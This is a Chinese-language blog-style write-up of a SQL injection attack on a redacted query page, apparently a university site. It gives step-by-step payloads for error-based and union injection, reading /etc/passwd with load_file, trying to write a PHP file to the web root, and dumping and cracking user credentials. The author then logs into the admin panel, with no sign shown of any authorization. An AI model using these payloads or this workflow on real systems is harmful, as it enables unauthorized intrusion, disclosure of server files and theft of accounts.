1. 在寻找某处的资产时找到一个查询的页面:
https://xxxxxxxxxxx/index.php/all
随便查询一下,然后抓包:
测试发现这里存在注入:
由于有报错信息,首先考虑报错注入:
Poc: '+and+updatexml(0x7e,concat(0x7e,database()),0x7e)='1
这里看看是什么用户:
root@localhost用户,权限还挺大,由于没有waf,试试看能不能读取文件,这里已经提前测试过是linux系统了,所以尝试读取/etc/passwd文件:
Exp: '+and+updatexml(0x7e,concat(0x7e,load_file('/etc/passwd')),0x7e)='1
(load_file()函数你可以把它看成和user()或者database()函数差不多的用法,可以直接用,只是比他们多一个括号里的参数而已)
发现读取成功,但是这里由于报错函数可显示的最大长度有限,并不能完整的显示出来,这里有思路就是string函数去分段截取,一次截取一点,这样可以,但是太麻烦,也不知道这文件到底有多长)思来想去,试了好久才想起来要不直接用联合查询?虽然这里报了错误信息,但不代表没有联合查询的注入嘛,
所以先试试看能不能显示出来,
Poc: '+order+by+10--+
先最大长度的去试试,看返回几位,最后发现,返回8位:
于是我开始构造exp:
'+union+select+1,2,3,4,5,6,7,8--+
这里有点不一样,就算前面为真也一样的会全部显示,所以不需要可以去把前面弄为假。
于是在知道显示位置后,开始读取文件:(这里先把文件转换成十六进制编码,方便读取)
Exp:'+union+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--+
可以发现已经全部读取成功:
既然有读的权限,那也许有写的权限呢?
于是尝试一下写入,但是有个问题,写道哪里呢?
突然想起之间报错注入好像出现过一个php路径:
/home/csg/university/controllers/all.php
这个目录,我可以先随便试试写入一下,看这个能否写入,如果可以在后续利用,于是:
Exp: '+union+select+1,2,3,4,5,6,7,8+into+outfile+"/home/csg/university/controllers/abc.php"--+
这里尝试在那个位置写个abc.php文件,发现写入失败,那没办法了。
但是我心有不甘,要不就查出他的账户密码?
于是查一下他的所有数据库
Exp:
'+union+select+1,2,group_concat(schema_name),4,5,6,7,8+from+information_schema.schemata--+
好像没啥特点,还是看看当前数据库下的东西吧
然后找一下当前数据库试试:
Exp:
'+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+
看到后面的univ_user了嘛,感觉有点像用户列表,查看一下:
Exp:
'+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_schema=database()+and+table_name='univ_user'--+
找到了username和password,于是看看:
Exp:
'+union+select+1,2,group_concat(concat_ws(':',username,password)),4,5,6,7,8+from+college.univ_user--+
然后拿去解密,我猜应该是MD5加密,试试运气能不能解出来:
哈哈,功夫不负有心人,直接拿下了,于是找到该网站后台:
https://zzzzzzzzzzzzzzzzzzzzz/index.php/login
输入得到的账户密码:
成功登陆:
哈哈,千辛万苦,万苦千辛。终于进来了。后续就是文件上传了。属于私密内容了;哈哈。